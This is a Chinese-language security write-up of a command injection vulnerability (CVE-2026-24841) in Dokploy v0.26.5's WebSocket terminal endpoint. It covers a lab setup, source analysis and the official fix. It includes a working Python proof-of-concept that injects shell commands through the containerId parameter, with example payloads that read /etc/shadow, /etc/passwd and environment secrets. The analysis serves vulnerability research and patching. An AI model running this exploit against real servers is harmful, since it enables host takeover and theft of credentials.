Dokploy 命令注入漏洞分析 CVE-2026-24841

漏洞描述

Dokploy 是一个免费的、可自托管的平台即服务(PaaS),能够简化应用程序和数据库的部署与管理。它是 Vercel、Heroku 和 Netlify 的开源替代方案,为开发者提供了强大的容器管理和部署能力。

在 Dokploy v0.26.5 版本的 WebSocket 终端功能中存在一个严重的命令注入漏洞。该漏洞位于 /docker-container-terminal 端点,攻击者可以通过在 containerId 和 activeWay 参数中注入 shell 元字符,在 Dokploy 宿主机上执行任意系统命令。虽然该漏洞需要认证后才能利用,但对于已登录的用户(包括恶意内部人员或获得会话令牌的攻击者),可以完全接管 Dokploy 服务器,窃取数据库密码等敏感信息。

环境搭建

version: '3.8'

services:
  postgres:
    image: postgres:15-alpine
    container_name: dokploy-postgres
    environment:
      POSTGRES_USER: dokploy
      POSTGRES_PASSWORD: dokploy123
      POSTGRES_DB: dokploy
    volumes:
      - postgres_data:/var/lib/postgresql/data
    healthcheck:
      test: ["CMD-SHELL", "pg_isready -U dokploy"]
      interval: 5s
      timeout: 5s
      retries: 5

  redis:
    image: redis:7-alpine
    container_name: dokploy-redis
    volumes:
      - redis_data:/data
    healthcheck:
      test: ["CMD", "redis-cli", "ping"]
      interval: 5s
      timeout: 3s
      retries: 5

  dokploy:
    image: dokploy/dokploy:v0.26.5
    container_name: dokploy-vuln-test
    ports:
      - "3001:3000"
    environment:
      DATABASE_URL: "postgresql://dokploy:dokploy123@postgres:5432/dokploy"
      REDIS_URL: "redis://redis:6379"
      NODE_ENV: production
    volumes:
      - /var/run/docker.sock:/var/run/docker.sock
      - dokploy_data:/app/data
    depends_on:
      postgres:
        condition: service_healthy
      redis:
        condition: service_healthy
    restart: unless-stopped

volumes:
  postgres_data:
  redis_data:
  dokploy_data:


curl -I http://localhost:3001

漏洞复现

这个账号虽然是需要凭据的,但是普通用户都可以,而且,最方便的是,可注册普通用户,所以和未授权区别不大


#!/usr/bin/env python3
"""
Dokploy Command Injection PoC (CVE-2026-XXXXX)
Authenticated RCE via WebSocket - CRITICAL

Usage:
  python3 dokploy-poc.py <target> <cookie>           # Run default tests
  python3 dokploy-poc.py <target> <cookie> <cmd>    # Run custom command

Examples:
  python3 dokploy-poc.py http://localhost:3000 "cookie=xxx" whoami
  python3 dokploy-poc.py http://localhost:3000 "cookie=xxx" "ls -la /root"
  python3 dokploy-poc.py http://localhost:3000 "cookie=xxx" "cat /etc/shadow"
"""
import sys, asyncio
from urllib.parse import quote
try:
    import websockets
except ImportError:
    sys.exit("pip install websockets")

async def exploit(target, cookie, cmd):
    payload = f"x;{cmd};#"
    uri = f"{target.replace('http','ws')}/docker-container-terminal?containerId={quote(payload)}&activeWay=sh"
    out = ""
    try:
        async with websockets.connect(uri, additional_headers={"Cookie": cookie}) as ws:
            while True:
                try:
                    out += await asyncio.wait_for(ws.recv(), timeout=2)
                except asyncio.TimeoutError:
                    break
    except Exception as e:
        return f"Error: {e}"
    # Clean docker error noise
    lines = out.split('\n')
    clean = [l for l in lines if not any(x in l for x in ['docker:', 'Usage:', 'docker exec', "See '"])]
    return '\n'.join(clean).strip()

async def main():
    if len(sys.argv) < 3:
        print(__doc__)
        sys.exit(1)

    target, cookie = sys.argv[1], sys.argv[2]

    if len(sys.argv) > 3:
        cmd = " ".join(sys.argv[3:])
        print(f"$ {cmd}\n")
        print(await exploit(target, cookie, cmd))
    else:
        print(f"[*] Target: {target}\n")
        for name, cmd in [("id", "id"), ("passwd", "head -3 /etc/passwd"), ("env", "env|head -5")]:
            out = await exploit(target, cookie, cmd)
            vuln = "uid=" in out or "root:" in out or "=" in out
            print(f"[{'!' if vuln else '?'}] {name}: {out[:150] if out else 'no response'}\n")

if __name__ == "__main__":
    asyncio.run(main())



危害的话,数据库也可以控制的

账号密码都可以读取出来

我是在本地环境,这个是默认的

漏洞分析

WebSocket 连接建立

文件位置: apps/dokploy/server/wss/docker-container-terminal.ts

wssTerm.on("connection", async (ws, req) => {
    const url = new URL(req.url || "", `http://${req.headers.host}`);
    const containerId = url.searchParams.get("containerId");
    const activeWay = url.searchParams.get("activeWay");
    const serverId = url.searchParams.get("serverId");
    const { user, session } = await validateRequest(req);

    if (!containerId) {
        ws.close(4000, "containerId no provided");
        return;
    }

    if (!user || !session) {
        ws.close();
        return;
    }
    // ... 继续处理
});

这里我们可以看到,虽然进行了认证检查(validateRequest)但是可注册,普通用户的权限就可以了,对于 containerId 和 activeWay 参数

只是检查了存在性,我们看下面

SSH 命令注入

文件位置: apps/dokploy/server/wss/docker-container-terminal.ts

if (serverId) {
    const server = await findServerById(serverId);
    if (!server.sshKeyId)
        throw new Error("No SSH key available for this server");

    const conn = new Client();
    conn
        .once("ready", () => {
            conn.exec(
                `docker exec -it -w / ${containerId} ${activeWay}`,
                { pty: true },
                (err, stream) => {
                    // ... 处理流
                }
            );
        })
        .connect({
            host: server.ipAddress,
            port: server.port,
            username: server.username,
            privateKey: server.sshKey?.privateKey,
        });
}

在远程服务器场景中,这两个参数 containerId 和 activeWay 被直接插入到SSH 执行的 shell 命令字符串中。由于使用了模板字符串拼接,shell 会解释其中的特殊字符(如 ;、|、&& 等),所以我们完全可以利用这个特性去拼接执行命令,看下面的例子

假如我们输入这个

containerId = "x;whoami;#"
activeWay = "sh"

"docker exec -it -w / x;whoami;# sh"

// SSH 远程 shell 解释为三个命令

  1. docker exec -it -w / x (失败,容器 x 不存在)
  2. whoami (会成功执行)


本地服务器场景 - spawn 命令注入

文件位置: apps/dokploy/server/wss/docker-container-terminal.ts

else {
    const shell = getShell();
    const ptyProcess = spawn(
        shell,
        ["-c", `docker exec -it -w / ${containerId} ${activeWay}`],
        {},
    );

    ptyProcess.onData((data) => {
        ws.send(data);
    });

    ws.on("message", (message) => {
        try {
            let command: string | Buffer[] | Buffer | ArrayBuffer;
            if (Buffer.isBuffer(message)) {
                command = message.toString("utf8");
            } else {
                command = message;
            }
            ptyProcess.write(command.toString());
        } catch (error) {
            const errorMessage = error?.message as unknown as string;
            ws.send(errorMessage);
        }
    });
}

文件位置: apps/dokploy/server/wss/utils.ts

export const getShell = () => {
    switch (os.platform()) {
        case "win32":
            return "powershell.exe";
        case "darwin":
            return "zsh";
        default:
            return "bash";
    }
};

和上面的差不多的原理了

/bin/bash -c "docker exec -it -w / x;cat /etc/passwd;# sh"

  1. 执行 docker exec -it -w / x (失败)
  2. 执行 cat /etc/passwd (这个会成功执行)

sh 被当作注释忽略

漏洞修复

修复 Commit: https://github.com/Dokploy/dokploy/commit/6fdb2e4a21f420b0e65e8721145ba8429d7d5749


官方的修复采用了三层防御机制:

添加输入验证函数

文件: apps/dokploy/server/wss/utils.ts

官方新增了两个严格的验证函数:

/**
 * 验证容器 ID 格式
 * 支持:完整 ID(64位十六进制)、短 ID(12位十六进制)、容器名称
 */
export const isValidContainerId = (id: string): boolean => {
    // 匹配十六进制 ID(12-64 位)
    const hexPattern = /^[a-f0-9]{12,64}$/i;

    // 匹配容器名称(字母数字开头,可含下划线、点、横线,最长128字符)
    const namePattern = /^[a-zA-Z0-9][a-zA-Z0-9_.-]*$/;

    return hexPattern.test(id) || (namePattern.test(id) && id.length <= 128);
};

/**
 * 验证 shell 类型
 * 只允许预定义的安全 shell
 */
export const isValidShell = (shell: string): boolean => {
    const allowedShells = [
        "sh",
        "bash",
        "zsh",
        "ash",
        "/bin/sh",
        "/bin/bash",
        "/bin/zsh",
        "/bin/ash",
    ];
    return allowedShells.includes(shell);
};

验证逻辑分析:

  • isValidContainerId: 使用正则表达式严格验证容器 ID 格式
  • 允许 Docker 标准 ID:12-64 位十六进制字符
  • 允许容器名称:必须以字母或数字开头,只能包含 [a-zA-Z0-9_.-],最长 128 字符
  • 阻止所有包含特殊字符(;、|、&、空格等)的输入
  • isValidShell: 使用白名单方式验证 shell 类型
  • 只允许 8 个预定义的安全 shell
  • 完全阻止任意 shell 路径或命令注入

参数使用前添加验证

文件: apps/dokploy/server/wss/docker-container-terminal.ts

+ import { isValidContainerId, isValidShell } from "./utils";

  wssTerm.on("connection", async (ws, req) => {
      const url = new URL(req.url || "", `http://${req.headers.host}`);
      const containerId = url.searchParams.get("containerId");
      const activeWay = url.searchParams.get("activeWay");

      if (!containerId) {
          ws.close(4000, "containerId not provided");
          return;
      }

+     // Security: Validate containerId to prevent command injection
+     if (!isValidContainerId(containerId)) {
+         ws.close(4000, "Invalid container ID format");
+         return;
+     }

+     // Security: Validate shell to prevent command injection
+     if (activeWay && !isValidShell(activeWay)) {
+         ws.close(4000, "Invalid shell specified");
+         return;
+     }

+     // Default to 'sh' if no shell specified
+     const shell = activeWay || "sh";

      const { user, session } = await validateRequest(req);
      // ...
  });

在使用参数前进行验证,验证失败立即断开连接, activeWay 设置默认值 "sh"

避免 Shell 解释

本地场景修复:

  //  修复前(v0.26.5 - 存在漏洞)
- const shell = getShell();
- const ptyProcess = spawn(
-     shell,
-     ["-c", `docker exec -it -w / ${containerId} ${activeWay}`],
-     {},
- );

  // 修复后(v0.26.6 - 安全)
+ const ptyProcess = spawn(
+     "docker",
+     ["exec", "-it", "-w", "/", containerId, shell],
+     {},
+ );


不再使用 bash -c 模式,直接调用 docker 命令,参数作为数组传递,不经过 shell 解释,就算传入的 containerId 包含分号,也只会被当作普通字符串

远程 SSH 场景修复:

  // ❌ 修复前(v0.26.5 - 存在漏洞)
- conn.exec(
-     `docker exec -it -w / ${containerId} ${activeWay}`,
-     { pty: true },
-     (err, stream) => { /* ... */ }
- );

  // ✅ 修复后(v0.26.6 - 安全)
+ const dockerCommand = [
+     "docker",
+     "exec",
+     "-it",
+     "-w",
+     "/",
+     containerId,
+     shell,
+ ].join(" ");
+ conn.exec(dockerCommand, { pty: true }, (err, stream) => { /* ... */ });

虽然远程场景仍使用字符串拼接(因为 SSH 的 exec 只接受字符串),前面已经通过正则表达式严格验证了 containerId 和 shell,准备绕一绕,说不定就是一个新漏洞了

防御的逻辑

用户输入
    ↓
【第 1 层】正则表达式验证
    ├─ isValidContainerId: /^[a-f0-9]{12,64}$/i
    └─ isValidShell: 白名单 ["sh", "bash", "zsh", "ash", ...]
    ↓ 验证失败 → 拒绝连接
    ↓ 验证通过
【第 2 层】参数化命令执行
    ├─ 本地:spawn("docker", ["exec", "-it", "-w", "/", containerId, shell])
    └─ 远程:已验证的参数通过 join(" ") 拼接(无特殊字符)
    ↓
【第 3 层】不使用 shell 解释器
    └─ 参数作为数组传递,不经过 bash -c
    ↓
✅ 安全执行

免责声明

本报告仅用于安全研究和教育目的,本报告中的漏洞分析和 PoC 代码仅供授权安全测试使用